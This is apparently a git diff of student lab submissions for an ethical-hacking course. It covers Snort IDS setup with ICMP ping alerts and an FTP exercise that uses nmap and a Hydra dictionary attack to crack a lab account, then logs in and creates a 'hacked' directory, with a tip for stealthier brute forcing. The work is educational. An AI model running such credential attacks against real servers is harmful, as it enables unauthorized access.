diff --git a/Module12_EvadingIDS/CEH_Module12-13_report_group07.docx b/Module12_EvadingIDS/CEH_Module12-13_report_group07.docx
new file mode 100644
index 0000000..e17263e
Binary files /dev/null and b/Module12_EvadingIDS/CEH_Module12-13_report_group07.docx differ
diff --git a/Module12_EvadingIDS/README.md b/Module12_EvadingIDS/README.md
index 1e9bcbe..39423ee 100644
--- a/Module12_EvadingIDS/README.md
+++ b/Module12_EvadingIDS/README.md
@@ -1 +1,70 @@
-# Module12_EvadingIDS\n\n## Instructions\n\nEach group assigned this module must create a folder like this:\n\n- GroupXX/\n  - CEH_ModuleXX_Report_GroupXX.docx\n  - screenshots/\n  - commands.txt\n  - tools-used.txt\n\n📌 Deadline: 15 May 2025\n📌 Submit via Pull Request ONLY\n\nInstructor: Mr. Abdullah Bin Zarshaid\nCourse: CY201 – Spring 2025
+
+# CEH Module 12 – Evading IDS & Firewalls (Lab Report)  
+🧠 **Overview**  
+This lab focuses on configuring **Snort IDS** to detect ICMP-based attacks and evade intrusion detection systems in a controlled environment.  
+
+👥 **Team Members**  
+- Aayan Rashid – 2023002  
+- Ali Uzair – 2023102  
+- Muaaz Bin Salman – 2023338  
+**Instructor:** Sir Abdullah Bin Zarshaid  
+**Submission Date:** May 14, 2025  
+
+---
+
+## 🛠️ **Environment Setup**  
+**Operating Systems:**  
+- **Target:** Windows Server 2019 (IP: `192.168.162.130`)  
+- **Attacker:** Windows 11  
+
+**Virtualization:** VMware Workstation  
+**Network Configuration:** NAT  
+
+---
+
+## 🔍 **Lab Activities Summary**  
+- **Task 1:** Installed Snort and configured `snort.conf` with `HOME_NET = 192.168.162.130`  
+- **Task 2:** Verified network interfaces using `snort -W`  
+- **Task 4:** Triggered ICMP ping alerts and analyzed logs in `C:\Snort\log\`  
+
+---
+
+## 🧪 **Tools Used**  
+- **Snort v2.9.15**: Intrusion Detection System  
+- **WinPcap**: Packet capture library  
+- **VMware Workstation**: Virtualization  
+
+---
+
+## 💻 **Notable Commands**  
+```bash
+snort -W                          # List interfaces  
+snort -dev -i 1                   # Capture traffic on interface 1  
+ping 192.168.162.130 -t           # Simulate ICMP attack  
+```
+
+---
+
+## ⚠️ **Issues Faced**  
+- **Interface Misidentification:** Fixed with `snort -W` to verify indexes.  
+- **Preprocessor Warnings:** Adjusted `snort.conf` to comment unused modules.  
+
+---
+
+## 🎓 **Learning Outcomes**  
+- Configured Snort IDS for real-time traffic monitoring.  
+- Analyzed ICMP-based attack patterns and logs.  
+- Troubleshooted network interface and configuration errors.  
+
+---
+
+## 📁 **Contents**  
+- `CEH_Module12-13_report_group07.docx`  
+- `tools_module12.txt`: Tool versions and purposes  
+- `commands_module12.txt`: Lab commands with explanations  
+
+---
+
+## 📜 **License**  
+*For educational use only. Unauthorized network monitoring is illegal.*  
+
diff --git a/Module12_EvadingIDS/commands.txt b/Module12_EvadingIDS/commands.txt
new file mode 100644
index 0000000..3453822
--- /dev/null
+++ b/Module12_EvadingIDS/commands.txt
@@ -0,0 +1,59 @@
+Environment Setup & Configuration (Target: Windows Server 2019 VM, IDS Host)
+
+Boot the Windows Server 2019 and Windows 11 VMs.
+
+Navigate to the lab folder:
+Z:\CEHv12 Module 12 Evading IDS, Firewalls, and Honeypots\Intrusion Detection Tools\Snort
+
+Launch Snort installer:
+Snort_2_9_15_Installer.exe
+
+Copy configuration files to Snort directory:
+(Manual file operations, e.g., copy snort.conf and rule directories to C:\Snort\)
+
+Snort Configuration
+
+Open snort.conf with Notepad++ as Administrator:
+C:\Snort\etc\snort.conf
+
+Set network variables:
+Change
+var HOME_NET any
+to
+var HOME_NET 192.168.162.130
+
+Set absolute rule paths:
+Example:
+var RULE_PATH C:\Snort\rules
+
+(Optional) Comment out preprocessors in snort.conf to resolve warnings.
+
+Snort Execution & Network Monitoring
+
+Open Command Prompt as Administrator.
+
+Change directory to Snort binaries:
+cd C:\Snort\bin
+
+List available network interfaces:
+snort -W
+
+Start Snort on the correct interface:
+snort -dev -i 1
+(Replace "1" with your interface index)
+
+Test network connectivity (on another Command Prompt):
+ping google.com
+
+Simulate attack from attacker machine:
+ping 192.168.162.130 -t
+
+Stop Snort after generating alerts:
+Ctrl+C
+
+Log Verification
+
+Navigate to Snort log directory:
+C:\Snort\log\192.168.162.130\
+
+Open log file (e.g., ICMP_ECHO.ids) with Notepad++.
diff --git a/Module12_EvadingIDS/tools.txt b/Module12_EvadingIDS/tools.txt
new file mode 100644
index 0000000..88fc15f
--- /dev/null
+++ b/Module12_EvadingIDS/tools.txt
@@ -0,0 +1,13 @@
+Module 12 Lab 1
+
+Snort
+An open-source Intrusion Detection System (IDS) that analyzes real-time network traffic, logs packets, and detects intrusions based on customizable rulesets. It is used to monitor suspicious activities like ICMP ping probes.
+
+WinPcap
+A Windows packet capture library required by Snort to capture and process network packets from the network interface.
+
+VMware Workstation
+A virtualization tool used to run both the attacker and target virtual machines in an isolated lab environment.
+
+Notepad++
+A text editor used for editing configuration files such as snort.conf with administrative privileges.
diff --git a/Module13_HackingWebServers/CEH_Module12-13_report_group07.docx b/Module13_HackingWebServers/CEH_Module12-13_report_group07.docx
new file mode 100644
index 0000000..e17263e
Binary files /dev/null and b/Module13_HackingWebServers/CEH_Module12-13_report_group07.docx differ
diff --git a/Module13_HackingWebServers/README.md b/Module13_HackingWebServers/README.md
index 35400ba..5451c9f 100644
--- a/Module13_HackingWebServers/README.md
+++ b/Module13_HackingWebServers/README.md
@@ -1 +1,58 @@
-# Module13_HackingWebServers\n\n## Instructions\n\nEach group assigned this module must create a folder like this:\n\n- GroupXX/\n  - CEH_ModuleXX_Report_GroupXX.docx\n  - screenshots/\n  - commands.txt\n  - tools-used.txt\n\n📌 Deadline: 15 May 2025\n📌 Submit via Pull Request ONLY\n\nInstructor: Mr. Abdullah Bin Zarshaid\nCourse: CY201 – Spring 2025
+# CEH Module 13 – Hacking Web Servers
+🧠 **Overview**  
+This lab simulates FTP credential cracking using dictionary attacks and evaluates web server vulnerabilities.  
+
+👥 **Team Members**  
+- Aayan Rashid – 2023002  
+- Ali Uzair – 2023102  
+- Muaaz Bin Salman – 2023338  
+**Instructor:** Sir Abdullah Bin Zarshaid  
+**Submission Date:** May 14, 2025  
+
+---
+
+## 🛠️ **Environment Setup**  
+**Operating Systems:**  
+- **Attacker:** Parrot Security OS  
+- **Target:** Windows 11 (IP: `10.1.164.60`)  
+
+**Virtualization:** VMware / VirtualBox  
+**Network Configuration:** Bridged  
+
+---
+
+## 🔍 **Lab Activities Summary**  
+- **Task 1:** Scanned FTP port with `nmap -p 21 -sV <target_IP>`  
+- **Task 2:** Cracked credentials using Hydra  
+- **Task 4:** Created "hacked" directory to test write permissions.  
+
+---
+
+## 📂 **Files & References**  
+- **Tools Used:** Detailed tool descriptions in [`tools_module13.md`](tools_module13.md).  
+- **Commands Executed:** Complete command syntax in [`commands_module13.md`](commands_module13.md).  
+
+---
+
+## ⚠️ **Issues Faced**  
+- **Hydra Syntax Errors:** Fixed by correcting command spacing.  
+- **Account Lockouts:** Reset with `net user <username> /active:yes`.  
+
+---
+
+## 🎓 **Learning Outcomes**  
+- Exploited weak FTP credentials using automated tools.  
+- Identified risks of unsecured protocols (FTP vs. SFTP).  
+- Practiced post-exploitation file manipulation.  
+
+---
+
+## 📁 **Contents**  
+- `CEH_Module13_report_group07.docx`  
+- `tools_module13.md`: Tools like Hydra, Nmap, and IIS  
+- `commands_module13.md`: Attack and validation commands  
+
+---
+
+## 📜 **License**  
+*Ethical use only. Unauthorized attacks are prohibited.* 
diff --git a/Module13_HackingWebServers/commands.txt b/Module13_HackingWebServers/commands.txt
new file mode 100644
index 0000000..7e643ed
--- /dev/null
+++ b/Module13_HackingWebServers/commands.txt
@@ -0,0 +1,80 @@
+
+```
+# Module 13 – Hacking Web Servers: Commands File  
+**Lab: FTP Credential Cracking & Exploitation**  
+
+---
+
+## 🔍 **Network Scanning**  
+### Scan for Open FTP Port  
+```bash
+nmap -p 21 -sV 10.1.164.60  
+```  
+**Purpose:**  
+- Scans port 21 on the target IP (`10.1.164.60`) to verify if FTP is running.  
+**Example Output:**  
+```  
+21/tcp open  ftp Microsoft ftpd  
+```  
+
+---
+
+## 🔓 **FTP Credential Cracking**  
+### Launch Dictionary Attack with Hydra  
+```bash
+hydra -L /path/to/Usernames.txt -P /path/to/Passwords.txt ftp://10.1.164.60  
+```  
+**Flags Explained:**  
+- `-L`: Path to username wordlist.  
+- `-P`: Path to password wordlist.  
+- `ftp://`: Target protocol and IP.  
+
+**Successful Output:**  
+```  
+[21][ftp] host: 10.1.164.60   login: admin   password: password123  
+```  
+
+---
+
+## 📂 **FTP Access & File Manipulation**  
+### Connect to FTP Server  
+```bash
+ftp 10.1.164.60  
+```  
+**Post-Connection Commands:**  
+```  
+Username: admin  
+Password: password123  
+ls                 # List directory contents  
+mkdir hacked       # Create "hacked" directory  
+exit               # Terminate FTP session  
+```  
+
+---
+
+## 🛠️ **Troubleshooting Commands**  
+### Fix Hydra Syntax Errors  
+```bash
+hydra -L Usernames.txt -P Passwords.txt ftp://10.1.164.60  # Correct spacing  
+```  
+
+### Resolve Wordlist Permission Issues  
+```bash
+chmod 644 Usernames.txt Passwords.txt  # Grant read access  
+```  
+
+### Unlock Locked FTP Accounts  
+```bash
+net user admin /active:yes  # Reset account lockout on Windows target  
+```  
+
+---
+
+## 💡 **Notes**  
+- Replace `/path/to/` with actual wordlist locations (e.g., `/home/parrot/Desktop/Wordlists/`).  
+- For stealth, use `-t 4` in Hydra to limit parallel connections (e.g., `hydra -t 4 ...`).  
+
+---
+
+📂 **File saved as:** [`commands_module13.md`](commands_module13.md)  
+``` 
diff --git a/Module13_HackingWebServers/tools.txt b/Module13_HackingWebServers/tools.txt
new file mode 100644
index 0000000..d6fbc8e
--- /dev/null
+++ b/Module13_HackingWebServers/tools.txt
@@ -0,0 +1,16 @@
+Module 13 Lab 2
+
+Nmap
+A powerful network scanning tool used to discover open ports and identify service versions on the target machine, helping to enumerate the attack surface.
+
+Hydra (THC-Hydra)
+A fast and flexible password-cracking tool used to automate dictionary attacks against network services like FTP.
+
+FTP client/command-line utilities
+Standard tools used to attempt logins and interact with the FTP server for verification of credentials and permissions.
+
+inetmgr (IIS Manager)
+A graphical management utility for configuring and managing IIS FTP services on Windows. It is used to set up and bind the FTP service to the correct network interface.
+
+VMware / VirtualBox
+Virtualization platforms used to host the attacker and target operating systems for the lab exercises.